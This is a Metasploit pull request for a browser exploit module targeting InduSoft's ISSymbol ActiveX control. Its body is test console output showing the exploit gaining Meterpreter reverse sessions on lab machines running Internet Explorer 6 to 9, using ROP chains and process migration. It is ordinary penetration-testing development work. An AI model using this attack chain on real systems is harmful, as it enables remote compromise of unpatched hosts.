rapid7/metasploit-framework — pull request #1183 by jvazquez-r7 (2012-12-18 22:58:46+00:00)
Title: Indusoft issymbol internationalseparator

Initial submission by James Fitts

Some testing:

[*] 192.168.1.137 indusoft_issymbol_internationalseparator - Requesting: /lElwXC
[*] 192.168.1.137 indusoft_issymbol_internationalseparator - Target selected as: IE 9 on Windows 7
[*] 192.168.1.137 indusoft_issymbol_internationalseparator - Using JRE ROP
[*] 192.168.1.137 indusoft_issymbol_internationalseparator - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.137
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.137:49477) at 2012-12-18 21:58:52 +0100
[*] Session ID 1 (192.168.1.128:4444 -> 192.168.1.137:49477) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (992)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3240
[+] Successfully migrated to process
[*] 192.168.1.137 - Meterpreter session 1 closed. Reason: Died

msf exploit(indusoft_issymbol_internationalseparator) >
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Requesting: /lElwXC
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Using msvcrt ROP
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.147:1193) at 2012-12-18 22:48:31 +0100
[*] Session ID 2 (192.168.1.128:4444 -> 192.168.1.147:1193) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (220)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3508
[+] Successfully migrated to process
[*] 192.168.1.147 - Meterpreter session 2 closed. Reason: Died
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Requesting: /lElwXC
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Using msvcrt ROP
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Sending HTML...
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Requesting: /lElwXC
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Using msvcrt ROP
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 3 opened (192.168.1.128:4444 -> 192.168.1.147:1205) at 2012-12-18 22:49:28 +0100
[*] Session ID 3 (192.168.1.128:4444 -> 192.168.1.147:1205) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3624)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3300
[+] Successfully migrated to process
[*] 192.168.1.147 - Meterpreter session 3 closed. Reason: Died
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Requesting: /lElwXC
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Target selected as: IE 7 on Windows XP SP3
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 4 opened (192.168.1.128:4444 -> 192.168.1.147:1055) at 2012-12-18 23:45:18 +0100
[*] Session ID 4 (192.168.1.128:4444 -> 192.168.1.147:1055) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1936)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3272
[+] Successfully migrated to process
[*] 192.168.1.147 - Meterpreter session 4 closed. Reason: Died

msf exploit(indusoft_issymbol_internationalseparator) >
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Requesting: /lElwXC
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Target selected as: IE 6 on Windows XP SP3
[*] 192.168.1.147 indusoft_issymbol_internationalseparator - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 5 opened (192.168.1.128:4444 -> 192.168.1.147:1261) at 2012-12-18 23:46:09 +0100
[*] Session ID 5 (192.168.1.128:4444 -> 192.168.1.147:1261) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (2696)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2748
[+] Successfully migrated to process
[*] 192.168.1.147 - Meterpreter session 5 closed. Reason: Died

msf exploit(indusoft_issymbol_internationalseparator) > exit